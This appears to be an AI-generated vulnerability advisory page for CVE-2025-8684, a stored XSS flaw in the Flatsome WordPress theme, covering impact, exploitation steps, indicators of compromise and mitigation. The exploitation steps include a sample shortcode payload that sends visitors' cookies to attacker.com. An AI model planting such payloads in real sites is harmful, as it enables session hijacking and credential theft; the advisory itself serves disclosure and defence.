CVE-2025-8684
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-8684 is a Stored Cross-Site Scripting (XSS) vulnerability in the Flatsome Theme for WordPress, affecting all versions up to and including 3.20.0. The flaw stems from insufficient input sanitization and output escaping on user-supplied attributes within the theme's shortcodes. Authenticated attackers with contributor-level access or above can inject arbitrary web scripts into pages, which execute whenever any user visits the affected page. It was published on September 5, 2025, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The root cause is that the Flatsome theme's shortcode handlers fail to properly sanitize user-supplied attributes before rendering them in HTML output, allowing malicious script content to be stored in the database and later served to site visitors. Exploitation requires network access and a low-privilege authenticated account (contributor or higher), with no additional complexity or user interaction required beyond a victim loading the injected page. No public proof-of-concept code has been identified at this time (Wordfence, EUVD).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit pages containing the injected shortcode content, impacting both confidentiality and integrity (CVSS scope: Changed). Potential consequences include session cookie theft, credential harvesting, defacement of page content, redirection to malicious sites, and delivery of further malware payloads to site visitors. Availability is not directly impacted, but the persistent nature of stored XSS means all visitors to affected pages are at risk until the malicious content is removed (Wordfence, EUVD).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-8684 as of the available data. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. Exploitation requires at minimum a contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, Wordfence Weekly Report).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Flatsome theme (version ≤ 3.20.0) by inspecting page source for theme references or using tools like WPScan.
  2. Obtain contributor access: Register or compromise a contributor-level (or higher) WordPress account on the target site.
  3. Craft malicious shortcode: Create or edit a post/page using a Flatsome shortcode that accepts user-supplied attributes, injecting a malicious JavaScript payload into an attribute (e.g., [shortcode attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"]).
  4. Publish or save content: Submit the page or post containing the injected shortcode; the malicious script is stored in the WordPress database.
  5. Trigger execution: When any site visitor (including administrators) loads the affected page, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints from contributor-level accounts containing encoded script tags or JavaScript event handlers in shortcode attribute fields.
  • Database: Unexpected <script> tags, javascript: URIs, or HTML event handler attributes (e.g., onerror=, onload=) stored within post content or shortcode attributes in the wp_posts table.
  • Network: Outbound requests from visitor browsers to unfamiliar external domains shortly after loading pages with Flatsome shortcodes, potentially indicating cookie exfiltration or redirect activity.
  • File System: No direct file system artifacts expected for stored XSS, but review recently modified posts/pages for injected script content (Wordfence).

Mitigation and workarounds

Users should update the Flatsome theme to a version beyond 3.20.0 that includes a fix for this vulnerability; consult the official Flatsome changelog on ThemeForest for the patched release (Flatsome Changelog). As a temporary workaround, restrict contributor-level user registration and limit the ability of untrusted users to create or edit posts/pages until the patch is applied. Site administrators should also audit existing content for any injected scripts in shortcode attributes (Wordfence).

Community reactions

Wordfence disclosed and reported this vulnerability, including it in their weekly WordPress vulnerability report for September 1–7, 2025 (Wordfence Weekly Report). Red Hat and ENISA's EUVD also tracked the CVE, reflecting standard cross-database propagation. No notable independent researcher commentary or significant social media discussion has been identified beyond routine vulnerability aggregator coverage.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-18603NONEN/A
  • cancel-order-request-woocommerce
NoYesAug 09, 2026
CVE-2026-18473NONEN/A
  • wpdirectorykit
NoYesAug 09, 2026
CVE-2026-18465NONEN/A
  • wp-google-map-gold
NoYesAug 09, 2026
CVE-2026-18464NONEN/A
  • wp-google-map-gold
NoYesAug 09, 2026
CVE-2026-18357NONEN/A
  • wpc-order-tip
NoYesAug 09, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management